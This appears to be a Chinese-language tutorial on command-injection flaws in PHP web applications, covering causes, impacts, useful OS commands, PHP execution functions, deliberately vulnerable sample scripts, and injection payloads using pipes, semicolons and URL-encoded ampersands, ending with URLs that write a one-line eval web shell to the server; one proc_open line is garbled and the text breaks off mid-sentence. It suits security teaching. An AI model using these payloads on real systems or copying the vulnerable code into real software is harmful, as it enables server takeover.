任意命令执行

漏洞背景

一般出现这种漏洞，是因为应用系统从设计上需要给用户提供指定的远程命令操作的接口

比如我们常见的路由器、防火墙、入侵检测等设备的web管理界面上

一般会给用户提供一个ping操作的web界面，用户从web界面输入目标IP，提交后，后台会对该IP地址进行一次ping测试，并返回测试结果。而，如果，设计者在完成该功能时，没有做严格的安全控制，则可能会导致攻击者通过该接口提交"意想不到"的命令，从而让后台进行执行，从而控制整个后台服务器

漏洞成因

应用在调用这些函数执行系统命令的时候，如果将用户的输入作为系统命令的参数拼接到命令行中，在没有过滤用户的输入的情况下，就会造成命令执行漏洞。

危害

继承Web服务器程序的权限，去执行系统命令
继承Web服务器程序的权限，读写文件
反弹shell
控制整个网站
甚至控制整个服务器

任意命令执行利用

WINDOWS系统命令：

复制代码

ipconfig	              //查看网卡信息
arp		  	             //arp缓存表操作
dir		  	             //查看当前目录下文件信息
chdir		             //显示当前文件绝对路径
netstat  -ano             //查看当前端口信息
whoami	  	             //查看当前用户
shutdown                  //60秒倒计时关机命令
taskkill /f /PID 进程名   //进程名为端口号    加/f参数强制结束进程
notepad 	  		     //打开记事本

LINUX系统命令：

复制代码

ifconfig      			//查看网卡信息
ls 					   //查看当前目录下文件信息
netstat --ant 			//查看当前端口信息
whoami 				    //查看当前用户
cd  /etc/目录路径   	  //切换目录
cat 文件名  			  //查看文件内容
vim  文件名 			  //编辑文件内容
init 6   				//重启系统
ps --aux  				//查看系统进程信息

https://www.cnblogs.com/accumulater/p/7110811.html 系统命令参考

相关函数

在PHP中可以调用外部程序的常见函数：

system (args)(有回显)

passthru(args)(有回显)

exec(arqs)(本身无回显-echo输出显示最后一行)

shell_exec(args)(本身无回显-echo输出显示)

反引号：`` (本身无回显, 需要echo输出)

popen(handle,mode)(无回显)

proc_open('cmd','flag','flag')(无回显)

process=procopen(′dir′,process = proc_open('dir',process=procopen(′dir′,des,$pipes);

echo stream_get_contents($pipes $1$ );

system()函数_1

复制代码

<?php 
	$arg = $_GET['arg'];
	if ($arg) {
		//windows下-n指定ping次数
		system("ping -n 3 $arg");
	}
 ?>

管道符|，前一个的输出，后一个的输入；拼接作用

我们能够控制的点是程序的整个参数，我们可以直接用&&或 | 等等，利用与、或、管道命令来执行其他命令。

复制代码

system("ping -n 3 127.0.0.1 | ifconfig")

linux下还支持";"
system("ping -c 3 127.0.0.1; ifconfig")

|，||，%26(&), %26%26(&&),短路逻辑与(％26%26)前后两个参数，如果第一为假，第二个不判断短路逻辑或(||)前后两个参数，如果第一为真，第二个不判断

system()函数_2

复制代码

Linux环境下:
<?php 
	$arg = $_GET['a'];
	if ($arg) {
		system("ls -al \"$arg\"");
	}
?>

/?a=./" | "ifconfig
/?a=./" ; "ifconfig
/?a=aa" || "ifconfig
/?a=./" %26 "ifconfig
/?a=./" %26%26 "ifconfig

system()函数_3

复制代码

Linux环境:
<?php 
	$arg = $_GET['a'];
	if ($arg) {
		system("ls-al  '$arg' ");
	}
?>

windows环境:
<?php 
	$arg = $_GET['a'];
	if ($arg) {
		system("dir '$arg'");
	}
?>

在单引号内的话，变量不能被解析，因此要想执行命令必须闭合单引号。

如果有些权限：直接写一句话（windows）

复制代码

http://192.168.3.25/mingling/system3.php?a=aa' | echo  "<?php eval($_POST[1]);?>"  > 2.php //
http://192.168.3.25/mingling/system3.php?a=aa' | echo  "<?php eval($_POST[1]);?>"  > 2.php;

如果有写权限的话：